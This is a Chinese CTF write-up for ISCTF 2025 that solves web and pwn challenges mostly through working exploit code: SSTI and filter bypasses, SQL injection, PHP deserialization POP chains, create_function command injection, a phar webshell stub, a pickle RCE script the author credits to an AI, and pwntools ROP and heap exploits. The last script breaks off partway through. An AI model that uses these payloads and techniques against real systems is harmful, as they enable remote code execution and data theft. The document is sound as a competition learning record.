ISCTF2025 web/pwn wp
ISCTF 2025
web 有几道很不错的题目,学习了
PWN部分来自队友: @sea_dream
WEB
b@bymailto:b@by n0t1ce b0ard
CVE-2024-12233
A vulnerability was found in code-projects Online Notice Board up to 1.0 and classified as critical. This issue affects some unknown processing of the file /registration.php of the component Profile Picture Handler. The manipulation of the argument img leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
找到 exploit
https://github.com/LamentXU123/cve/blob/main/RCE1.md
照着打即可

难过的 bottle
我也很难过,怎么第二题就是 bottle
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil
# hint: flag is in /flag
UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
def contains_blacklist(content):
_"""检查内容是否包含黑名单中的关键词(不区分大小写)"""_
_ _content = content.lower()
return any(black_word in content for black_word in BLACKLIST)
def safe_extract_zip(zip_path, extract_dir):
_"""安全解压ZIP文件(防止路径遍历攻击)"""_
_ _with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")
zf.extract(member, extract_dir)
@route('/')
def index():
_"""首页"""_
_ _return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZIP文件查看器</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container">
<div class="row justify-content-center" id="index-page">
<div class="col-md-8 text-center">
<div class="card">
<div class="card-body p-5">
<div class="emoji-icon">📤</div>
<h2 class="card-title">轻松查看ZIP文件内容</h2>
<p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
<div class="mt-4">
<a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
📁 上传ZIP文件
</a>
<a href="#features" class="btn btn-outline-secondary btn-lg px-4">
ℹ️ 了解更多
</a>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-5" id="features">
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">🛡️</div>
<h4>安全检测</h4>
<p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">📄</div>
<h4>内容预览</h4>
<p>直接在线查看ZIP文件中的文本内容,无需下载</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">⚡</div>
<h4>快速处理</h4>
<p>高效处理小于1MB的ZIP文件,快速获取内容</p>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
@route('/upload')
def upload_page():
_"""上传页面"""_
_ _return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传ZIP文件</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-primary text-white">
<h4 class="mb-0">📤 上传ZIP文件</h4>
</div>
<div class="card-body">
<form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
<div class="mb-3">
<label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
<input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
<div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
</div>
<button type="submit" class="btn btn-primary w-100">
📤 上传文件
</button>
</form>
</div>
</div>
<div class="text-center mt-4">
<a href="/" class="btn btn-outline-secondary">
↩️ 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
@post('/upload')
def upload():
_"""处理文件上传"""_
_ _zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return '请上传有效的ZIP文件'
zip_file.file.seek(0, 2)
file_size = zip_file.file.tell()
zip_file.file.seek(0)
if file_size > MAX_FILE_SIZE:
return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
timestamp = str(time.time())
unique_str = zip_file.filename + timestamp
dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
os.makedirs(extract_dir, exist_ok=True)
zip_path = os.path.join(extract_dir, 'uploaded.zip')
zip_file.save(zip_path)
try:
safe_extract_zip(zip_path, extract_dir)
except (zipfile.BadZipFile, ValueError) as e:
shutil.rmtree(extract_dir)
return f'处理ZIP文件时出错: {str(e)}'
files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传成功</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-success text-white">
<h4 class="mb-0">✅ 上传成功!</h4>
</div>
<div class="card-body">
<div class="alert alert-success" role="alert">
✅ 文件已成功上传并解压
</div>
<h5>文件列表:</h5>
<ul class="list-group mb-4">
% for file in files:
<li class="list-group-item d-flex justify-content-between align-items-center">
<span>📄 {{file}}</span>
<a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
查看
</a>
</li>
% end
</ul>
% if files:
<div class="d-grid gap-2">
<a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
👀 查看第一个文件
</a>
</div>
% end
</div>
</div>
<div class="text-center mt-4">
<a href="/upload" class="btn btn-outline-primary me-2">
➕ 上传另一个文件
</a>
<a href="/" class="btn btn-outline-secondary">
🏠 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
''', dir_hash=dir_hash, files=files)
@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
if not os.path.exists(file_path):
return "文件不存在"
if not os.path.isfile(file_path):
return "请求的路径不是文件"
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"
if contains_blacklist(content):
return "文件内容包含不允许的关键词"
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
@route('/static/<filename:path>')
def serve_static(filename):
_"""静态文件服务"""_
_ _return static_file(filename, root='static')
@error(404)
def error404(error):
return "讨厌啦不是说好只看看不摸的吗"
@error(500)
def error500(error):
return "不要透进来啊啊啊啊"
if __name__ == '__main__':
os.makedirs('static', exist_ok=True)
#原神,启动!
run(host='0.0.0.0', port=5000, debug=False)
黑名单没有的是 a f g l flag
上传压缩包可以查看里面的文件,内容会 bottle 渲染
因为是文件渲染的形式,可以直接斜体字绕过
{{ open("/flag").read() }}
{{ 𝑜𝑝𝑒𝑛("/flag").𝑟𝑒𝑎𝑑() }}
Who am I
正常注册登录,抓包发现登录路由会传一个 type 参数,改成 0 后进入管理员后台
泄露了源码
from flask import Flask,request,render_template,redirect,url_for
import json
import pydash
app=Flask(__name__)
database={}
data_index=0
name=''
@app.route('/',methods=['GET'])
def index():
return render_template('login.html')
@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')
@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}
def logout():
return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)
重点是这几个个路由
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
可以通过 operate 路由修改内置属性
impression 不能模板注入,那么可以尝试把模板路径修改到根目录,然后把 flag 当模板文件读
/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/

flag 到底在哪
robots.txt 泄露路径
User-agent: *
Disallow: /admin/login.php
看描述像弱口令,但是没跑出来,可能不是
sql 万能密码
admin
' OR '1'='1
然后是一个上传页面,没看出有啥过滤,随便传个马打通了

ezrce
有字母和括号,可以打无参 rce
system(pos(getallheaders()));

来签个到吧
php 反序列化
<?php
class FileLogger {
public $logfile = "xnftrone.php";
public $content = "";
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
}
$shit = new ShitMountant("php://filter/convert.base64-encode/resource=/flag");
$payload = serialize($shit);
echo urlencode($payload);
然后去 api.php 回显一下即可

mv_upload
有一个文件移动的逻辑,猜测后端的命令是这样的
mv * directory/
马上想到可以尝试命令参数注入
mv 命令有两个备份相关的参数
--backup 启动备份
--suffix=<string> 指定备份后缀
启动备份后会在文件存在时为原文件创建一个备份
这里没办法 --suffix=.php,可以传一个 .ph 后缀,然后再把 p 补回去

然后把 aa.ph 上传两次即可

Bypass
有两个可能的利用点
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
反序列化触发__destruct,但是命令执行很严格
想办法触发 FLAG 的构造器,用 eval 来打就简单了
尝试过后发现行不通,几乎所有方法都会触发 waf
寻找一番发现 create_function 没被 ban
可以用 create_function 的拼接漏洞来执行命令,命令内容用编码绕过
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
$command = "cat /flag";
$function = "system";
function str_to_octal($str)
{
$out = "";
for ($i = 0; $i < strlen($str); $i++) {
$out .= '\\' . decoct(ord($str[$i]));
}
return $out;
}
$octal_cmd = str_to_octal($command);
$octal_func = str_to_octal($function);
$payload_code = '} $_="' . $octal_func . '"; $_("' . $octal_cmd . '"); /*';
echo $payload_code;
echo "\n\n";
$a = "create_function";
$b = $payload_code;
$obj = new FLAG($a, $b);
$exp = serialize($obj);
echo urlencode($exp);
?>

flag?我就借走了
tar 解压不校验解压后的文件,用符号链接把 flag 读出来
ln -s /flag flaglink
tar cPvf ssti.tar flaglink

ezpop
pop 链
<?php
error_reporting(0);
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}
public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}
class starlord {
public $var4;
public $var5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}
public function __get($arg1) {
$this->var5->ll2('b2');
}
}
class anna {
public $var6;
public $var7;
public function __toString() {
$long = @$this->var6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}
eenndd.__get <- flaag.__invoke <- begin.__toString <- begin.__destruct
弱比较简单爆破一下就好
<?php
class begin
{
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
}
class eenndd
{
public $command = 'eval($_GET[0]);';
}
class flaag
{
public $var10;
public $var11 = "213";
}
$end = new eenndd();
$flag = new flaag();
$flag->var10 = $end;
$begin1 = new begin("");
$begin2 = new begin($begin1);
$begin1->var2 = $flag;
$payload = serialize($begin2);
echo urlencode($payload);
unserialize($payload);

include_upload
源码提示有 include.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".png"){
include'./upload/' . basename($_GET['file']);
exit;
}
?>
有 basename 没办法路径穿越,同时上传路由的 waf 也很严格
所以考虑了使用 phar 文件包含,用 gzip 打包
参考当 include 邂逅 phar——DeadsecCTF2025 baby-web – fushulingのblog
我们知道,可以使用包含.phar 的文件来进行注入,不需要是后缀名,因此上传 gz 文件将后缀改为 .phar.png 即可
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
eval($_GET['xnftrone']);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

双生序列
来签个到吧的升级版
ai 一把梭了
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import pickle
import requests
TARGET = "http://challenge.bluesharkinfo.com:25507/" # _TODO: 改成题目给的 URL_
FLAG_PATH = "/flag" # _TODO: 视题目实际情况改_
# === 1. Python 端:构造内外层 Pickle ===
# 本地定义一个同名 Set 类,用来生成外层 pickle
class Set:
def __init__(self):
self.secret = b""
self.payload = b""
def build_inner_payload():
_"""_
_ 构造第二层的恶意 pickle,_
_ 执行命令: cat FLAG_PATH > /tmp/ssxl/outs.txt_
_ 这里用了 protocol 0 的手写 payload 模板,你可以改成其他形式。_
_ """_
_ _cmd = f"cat {FLAG_PATH} > /tmp/ssxl/outs.txt"
# 经典:cos\nsystem\n(S'cmd'\ntR.
# 注意 Python3 字节串 & 引号问题,下面是一个简单模板,你可以自己调整或直接硬编码 bytes。
payload = (
b"cos\n"
b"system\n"
b"(S'" + cmd.encode() + b"'\n"
b"tR."
)
return payload
def build_outer_b64(inner_payload: bytes) -> str:
_"""_
_ 构造外层 Set 对象,并 base64 编码给 Writer 使用_
_ secret 必须等于 Writer::$secret = 'kaqikaqi'_
_ """_
_ _s = Set()
s.secret = b"kaqikaqi" # 和 PHP 里 Writer::secret 一致
s.payload = inner_payload
raw = pickle.dumps(s) # 协议随意,服务器那边只要 HMAC 对上即可
return base64.b64encode(raw).decode()
# === 2. PHP 序列化构造辅助 ===
def php_str(s: str) -> str:
_"""构造 s:<len>:"xxx"; 这种段"""_
_ _return f's:{len(s)}:"{s}";'
def build_pytools_ser() -> str:
_"""_
_ run.bin 中的内容,只需要是一个 Pytools 对象即可_
_ 属性可以为 0 个,未指定的用类默认值_
_ """_
_ _return 'O:7:"Pytools":0:{}'
def build_writer(b64data: str) -> str:
_"""_
_ Writer 对象的序列化:_
_ - b64data: 我们给的 base64 字符串_
_ - init: 设为 'init',让 __wakeup() 调用 init() 创建目录_
_ """_
_ _props = (
php_str("b64data") + php_str(b64data) +
php_str("init") + php_str("init")
)
return f'O:6:"Writer":2:{{{props}}}'
def build_shark(pytools_ser: str) -> str:
_"""_
_ Shark 对象,唯一属性 ser = Pytools 序列化_
_ """_
_ _props = php_str("ser") + php_str(pytools_ser)
return f'O:5:"Shark":1:{{{props}}}'
def build_bridge(b64data: str, pytools_ser: str) -> str:
_"""_
_ Bridge(writer, shark) 序列化_
_ """_
_ _writer_ser = build_writer(b64data)
shark_ser = build_shark(pytools_ser)
props = (
php_str("writer") + writer_ser +
php_str("shark") + shark_ser
)
return f'O:6:"Bridge":2:{{{props}}}'
# === 3. HTTP 交互 ===
sess = requests.Session()
def create_note(serialized_bridge: str) -> int:
_"""_
_ 步骤 1: POST /index.php 插入 note_
_ 返回新 note 的 id(这里留了 TODO,你可以自己实现解析逻辑)_
_ """_
_ _data = {
"s": "blueshark:" + serialized_bridge
}
r = sess.post(f"{TARGET}/index.php", data=data)
print("[*] create_note status:", r.status_code)
# _TODO:_
_ _# _- 你可以再 GET 一次 /index.php,解析 Recent 区域,_
_ _# _找到最新的一条记录的 id,或者用一个随机标记在 payload 前面方便识别_
_ _# _- 这里为了模板简单,直接手动输入 id_
_ _note_id = int(input("[?] 请手动输入这条 note 的 id: "))
return note_id
def trigger_api(note_id: int):
_"""_
_ 步骤 2: 访问 /api.php?id=note_id_
_ 触发 Writer & Shark,把文件写到 /tmp/ssxl/*.bin_
_ """_
_ _params = {"id": note_id}
r = sess.get(f"{TARGET}/api.php", params=params)
print("[*] trigger_api status:", r.status_code)
# 可以打印一下看是否报喵喵喵
# print(r.text)
def trigger_run():
_"""_
_ 步骤 3: 访问 /run.php?action=run_
_ 触发 pytools.py 执行,并尝试从响应中提取 flag_
_ """_
_ _params = {"action": "run"}
r = sess.get(f"{TARGET}/run.php", params=params)
print("[*] trigger_run status:", r.status_code)
print(r.text) # _TODO: 正则提取 flag,比如 re.search(r'flag\{.*?\}', r.text)_
def main():
inner = build_inner_payload()
b64 = build_outer_b64(inner)
pytools_ser = build_pytools_ser()
bridge_ser = build_bridge(b64, pytools_ser)
print("[*] Bridge serialized length:", len(bridge_ser))
note_id = create_note(bridge_ser)
trigger_api(note_id)
trigger_run()
if __name__ == "__main__":
main()
当然我们还是要分析一下
$allowed = ["Writer", "Shark", "Bridge"];
$o = @unserialize($row["content"], ["allowed_classes" => $allowed]);
if (!($o instanceof Bridge)) {
$cat->OwO();
exit(1);
}
$r = $o->fetch();
echo nl2br(htmlspecialchars($r));
需要通过链子最后得到一个 Bridge
class Bridge {
public $writer;
public $shark;
public function __construct($w, $s) {
if (!($w instanceof Writer) || !($s instanceof Shark)) {
echo "喵喵喵?";
exit(1);
}
$this->writer = $w;
$this->shark = $s;
}
public function __get($name) {
if ($name === "write") {
if (!($this->writer instanceof Writer)){
return "喵喵喵?";
}
$this->writer->fetch();
return $this->shark;
}
}
public function __isset($name) {
if ($name === "write") {
return
($this->writer instanceof Writer) &&
($this->shark instanceof Shark);
}
return false;
}
public function __set($name, $value) {
if ($name === "write") {
$this->writer = $value;
}
else if ($name === "shark") {
$this->shark = $value;
}
}
public function __unset($name) {
if ($name === "write") {
$this->writer = null;
}
else if ($name === "shark") {
$this->shark = null;
}
}
public function fetch() {
$next = $this->write;
if ($next instanceof Shark) {
return $next;
}
return "喵喵喵!";
}
}
Bridge 有两个作用:
- 通过 Bridge::fetch()拿到 shark 对象
- 调用 Writer::fetch()来写
/tmp/ssxl/write.bin和/tmp/ssxl/write.meta
shark 对象则是可以写 /tmp/ssxl/run.bin
这是 php 的序列化部分,随后可以进行 python 的序列化,入口在 run.php
<?php
require_once "./config.php";
require_once "./classes.php";
$action = $_GET["action"] ?? "喵喵喵?";
if ($action !== "run") {
exit(1);
}
$binfile = "/tmp/ssxl/run.bin";
$allowed = ["Pytools"];
$exec = @unserialize($data, ["allowed_classes" => $allowed]);
先走到这校验 Pytools 类,说明 /tmp/ssxl/run.bin 里要写 Pytools 的序列化数据
if (method_exists($exec, "__call")) {
ob_start();
try {
$ret = $exec->blueshark();
$out = ob_get_clean();
if ($out !== "") {
echo $out;
}
else if ($ret !== null) {
echo $ret;
}
else {
echo "喵喵喵?";
}
}
catch (Throwable $e) {
echo "喵喵喵?";
ob_end_clean();
}
exit(0);
}
然后在这个位置调用 Pytools::__call
class Pytools extends Cat {
public $log = False;
private $logbuf = "看看你都干了什么好事喵!<br/>";
public function run() {
$cmd = "python3 /var/www/html/pytools.py";
$out = @shell_exec($cmd . " 2>&1");
$this->log = $out;
return $out;
}
public function __call($name, $args) {
return $this->run();
}
调用 pytools.py,流程大概是
def run(self):
assert self.init()
data = self.load_bin() # 加载/tmp/ssxl/write.bin
try:
obj = self._set_secret(data) # 加载一个Set,取SECRET
except Exception as e:
print("==> pickle load failed\n", e)
if self.jmp:
Games().gen_redirect()
return
meta = self.load_meta() # 读/tmp/ssxl/write.meta
assert self.sig_check(meta, data) # 做hmac校验
print("==> obj => ", obj)
payload = getattr(obj, 'payload', None) # 取payload
open(self.OUTS, "w").close()
if isinstance(payload, (bytes, bytearray)):
try:
inner = pickle.loads(payload) # pickle反序列化
except Exception as e:
print("==> inner pickle load failed\n", e)
if self.jmp:
Games().gen_redirect()
return
try:
out = self.read_out()
except Exception as e:
print("==> no outs =>\n", e)
if self.jmp:
Games().gen_redirect()
return
print("==> out => ", out)
到 pickle 反序列化就可以 rce 了
因此 /tmp/ssxl/write.bin 中需要写一个 Set 的 pickle 序列化数据,包含 secret 和 payload,同时要配合 /tmp/ssxl/write.meta 通过 hmac 验证,整个链子就走通了
密钥是在代码中写死的 kaqikaqi,保证密钥一致就可以了
PWN
来签个到吧
当时随便写在了一个 test 文件,删掉了,所以就没代码了
ez_fmt
from pwn import *
import os
base_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())
p=remote("challenge.bluesharkinfo.com",25237)
p.recvuntil(b'input: ')
p.send('%23$p-%25$p')
leak = p.recvline().strip().decode()
print("raw leak:", leak)
addr1_str, addr2_str = leak.split('-')
addr1 = int(addr1_str, 16)
addr2 = int(addr2_str, 16)
print("addr1 =", hex(addr1))
print("addr2 =", hex(addr2))
p.recvuntil(b'2nd input: ')
ret=0x000000000000101a
payload=b'a'*136+p64(addr1)+p64(0)+p64(addr2-0x135B+ret)+p64(addr2-0x135B+0x11E9)
p.send(payload)
p.interactive()
ez2048
from pwn import *
import os
# 获取当前脚本所在目录的绝对路径
base_dir = os.path.dirname(os.path.abspath(__file__))
# 将工作目录切换到脚本所在目录
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())
context(arch="amd64", os="linux")
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
file = "./ez2048"
elf = ELF(file)
libc = ELF("./libc.so.6")
choice = 1
if choice:
port = 22748
target = "challenge.bluesharkinfo.com"
p = remote(target, port)
else:
p = process(file)
def debug(cmd=""):
if choice == 1:
return
gdb.attach(p, gdbscript=cmd)
libc_base = b"fake_libc_base"
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x
ru("name\n>")
s("/bin/sh\x00")
ru("start the game")
s("\n")
for i in range(5):
sl("q")
sl("a")
sl("q")
sl("q")
ru("$ ")
# print(payload)
payload=b'a'*136+b'b'
# debug()
s(payload)
ru('executing command: ')
ru('b')
canary=uu64(b'\x00'+p.recv(7).strip())
leak('canary')
ru("$ ")
payload = b"exit\x00"
payload = payload.ljust((0x90-8), b"\x00")
payload+=p64(canary)+p64(0)
payload += p64(0x40133E) + p64(0x404A40+6) + p64(0x401355)
s(payload)
itr()
ret2rop
/bin/sh 用 ROPgadgte 找到的不行,system 用 backdoor 那个 call _system 也不行,payload2 也不行
省流:i am very vegetable
from pwn import *
import os
# 获取当前脚本所在目录的绝对路径
base_dir = os.path.dirname(os.path.abspath(__file__))
# 将工作目录切换到脚本所在目录
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())
context(arch="amd64", os="linux")
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
file = "./ret2rop"
elf = ELF(file)
libc = ELF("./libc.so.6")
choice = 1
if choice:
port = 22621
target = "challenge.bluesharkinfo.com"
p = remote(target, port)
else:
p = process(file)
def debug(cmd=""):
if choice == 1:
return
gdb.attach(p, gdbscript=cmd)
libc_base = b"fake_libc_base"
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x
ret = 0x000000000040101A
rsi = 0x0000000000401A1C
rdi_rsi = 0x0000000000401A25
binsh = 0x000000000040210D
binsh = 0x4040F0
system = 0x401A39
system = elf.sym["system"]
leak("system")
gs = """
b *0x401C0F
watch *(long long *)($rbp+0x20)
"""
ru("watch demo\n")
sl("no")
ru("name\n")
sl("/bin/sh\x00")
ru("introduce yourself\n")
payload1 = b"\x00" * 0x78 + p64(rsi) + p64(binsh) + p64(rdi_rsi) + p64(system)
payload2 = (
b"\x00" * 0x58
+ p64(rsi)
+ p64(binsh)
+ p64(rdi_rsi)
+ p64(system)
+ b"\x00" * (0x20)
)
# debug()
sl(payload1)
itr()
ez_tcache
一个 house of botcake
https://zqy.ink/2023/01/17/HouseOfBotcake/
https://www.cnblogs.com/pwnfeifei/p/15856680.html
from pwn import *
import os
# 获取当前脚本所在目录的绝对路径
base_dir = os.path.dirname(os.path.abspath(__file__))
# 将工作目录切换到脚本所在目录
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())
context(arch="amd64", os="linux")
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
file = "./pwn"
elf = ELF(file)
libc = ELF("./glibc/libc-2.29.so")
choice = 1
if choice:
port = 24842
target = "challenge.bluesharkinfo.com"
p = remote(target, port)
else:
p = process(file)
def debug(cmd=""):
if choice == 1:
return
gdb.attach(p, gdbscript=cmd)
libc_base = b"fake_libc_base"
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x
def add(index, size, content):
sla(": ", b"1")
sla(": ", str(size))
sla(": ", content)
def delete(index):
sla(": ", b"2")
sla(": ", str(index))
def show(index):
sla(": ", b"3")
sla(": ", str(index))
for i in range(7):
add(i, 0x90, b"a")
